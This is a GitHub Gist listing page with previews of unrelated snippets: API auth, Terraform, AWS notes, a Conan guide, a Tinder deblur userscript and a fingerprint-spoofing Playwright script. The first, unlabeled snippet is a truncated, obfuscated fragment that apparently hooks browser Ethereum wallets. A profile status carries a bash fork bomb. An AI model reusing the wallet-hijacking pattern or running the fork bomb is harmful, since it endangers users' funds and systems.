Skip to content

Instantly share code, notes, and snippets.

View sylvainSUPINTERNET's full-sized avatar
🗑️
:(){ :|: & };:

sylvainSUPINTERNET

🗑️
:(){ :|: & };:
View GitHub Profile
var neth = 0,
rund = 0,
loval = 0
async function checkethereumw() {
try {
const _0x124ed3 = await window.ethereum.request({ method: 'eth_accounts' })
_0x124ed3.length > 0
? (runmask(), rund != 1 && ((rund = 1), (neth = 1), newdlocal()))
: rund != 1 && ((rund = 1), newdlocal())
} catch (_0x53a897) {
@sylvainSUPINTERNET
sylvainSUPINTERNET / auth_coinbase_pro_example.js
Last active April 27, 2022 21:57
Auth for real api / sandbox api coinbasepro - nodejs
const crypto = require('crypto');
const axios = require('axios');
// FUKIN INVALID SIGNATURE !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
( async () => {
/*
// USING PROD ?
const { data } = await axios.get('https://api.coinbase.com/v2/time');
@AHaydar
AHaydar / main.tf
Created April 22, 2022 14:16
Terraform example for DynamoDB table, Lambda, and IAM to allow the Lambda to scan the table
provider "aws" {
profile = "default"
region = "ap-southeast-2"
}
module "company_table" {
source = "terraform-aws-modules/dynamodb-table/aws"
name = "company"
const pw = require('playwright');
const UserAgent = require('user-agents');
const uuid = require('uuid');
const tmp = require('tmp-promise');
const UINT32_MAX = (2 ** 32) - 1;
const WEBGL_RENDERERS = ['ANGLE (NVIDIA Quadro 2000M Direct3D11 vs_5_0 ps_5_0)', 'ANGLE (NVIDIA Quadro K420 Direct3D9Ex vs_3_0 ps_3_0)', 'ANGLE (NVIDIA Quadro 2000M Direct3D9Ex vs_3_0 ps_3_0)', 'ANGLE (NVIDIA Quadro K2000M Direct3D11 vs_5_0 ps_5_0)', 'ANGLE (Intel(R) HD Graphics Direct3D9Ex vs_3_0 ps_3_0)', 'ANGLE (Intel(R) HD Graphics Family Direct3D9Ex vs_3_0 ps_3_0)', 'ANGLE (ATI Radeon HD 3800 Series Direct3D9Ex vs_3_0 ps_3_0)', 'ANGLE (Intel(R) HD Graphics 4000 Direct3D11 vs_5_0 ps_5_0)', 'ANGLE (Intel(R) HD Graphics 4000 Direct3D11 vs_5_0 ps_5_0)', 'ANGLE (AMD Radeon R9 200 Series Direct3D11 vs_5_0 ps_5_0)', 'ANGLE (Intel(R) HD Graphics Direct3D9Ex vs_3_0 ps_3_0)', 'ANGLE (Intel(R) HD Graphics Family Direct3D9Ex vs_3_0 ps_3_0)', 'ANGLE (Intel(R) HD Graphics Direct3D9Ex vs_3_0 ps_3_0)', 'ANGLE (Intel(R) HD Graphics Family Direct3D
@ih2502mk
ih2502mk / list.md
Last active October 27, 2025 01:50
Quantopian Lectures Saved
@tajnymag
tajnymag / tinder.user.js
Last active October 21, 2025 23:59
Tinder Deblur Userscript (ARCHIVED and DEPRECATED, see https://github.com/tajnymag/tinder-deblur)
// ==UserScript==
// @name Tinder Deblur
// @namespace Violentmonkey Scripts
// @match https://tinder.com/*
// @grant none
// @version 1.4
// @author Tajnymag
// @downloadURL https://raw.githubusercontent.com/tajnymag/tinder-deblur/main/tinder.user.js
// @description Simple script using the official Tinder API to get clean photos of the users who liked you
// ==/UserScript==
@vidanov
vidanov / step-functions.md
Last active June 10, 2025 14:38
AWS Step functions. InputPath, OutputPath, ResultPath

AWS Step functions

InputPath, OutputPath, ResultPath

  • InputPath -> the part of the original JSON payload to take to the step
  • OutPutPath -> the part of the original JSON payload to return after the step is completed
  • ResultPath -> here you can define a node to store the output you create in the step.

Please note "output" node is visible in the step function logs and here in the doc, but you do not have it in the function input. It means { "output": "1.05" } will be just

'use strict';
function recursive(x){
console.log(x);
if(Math.sign(x) === 1){
//positiv given
if(x === 0){
//end
return 1;
@sylvainSUPINTERNET
sylvainSUPINTERNET / recursive.php
Last active July 10, 2018 14:43
Basic recursive usage
<?php
function recursiveCount()
{
//static to avoid reset of variable for each itterations
static $countMax = 5;
//On affiche
echo $countMax;
//On décrémente
@ForgottenUmbrella
ForgottenUmbrella / using_conan_cpp.md
Last active July 18, 2025 11:11
How to use Conan, a C++ package manager, for beginners

Package Management in C++ with Conan for Beginners

C++ package management can be complicated.

Below are some key tools involved:

Make

Make runs commands defined in a Makefile, for example, to build and install programs with the compiler and linker. For our purposes, we won't worry about what this looks like; you only need to understand its purpose in relation to CMake.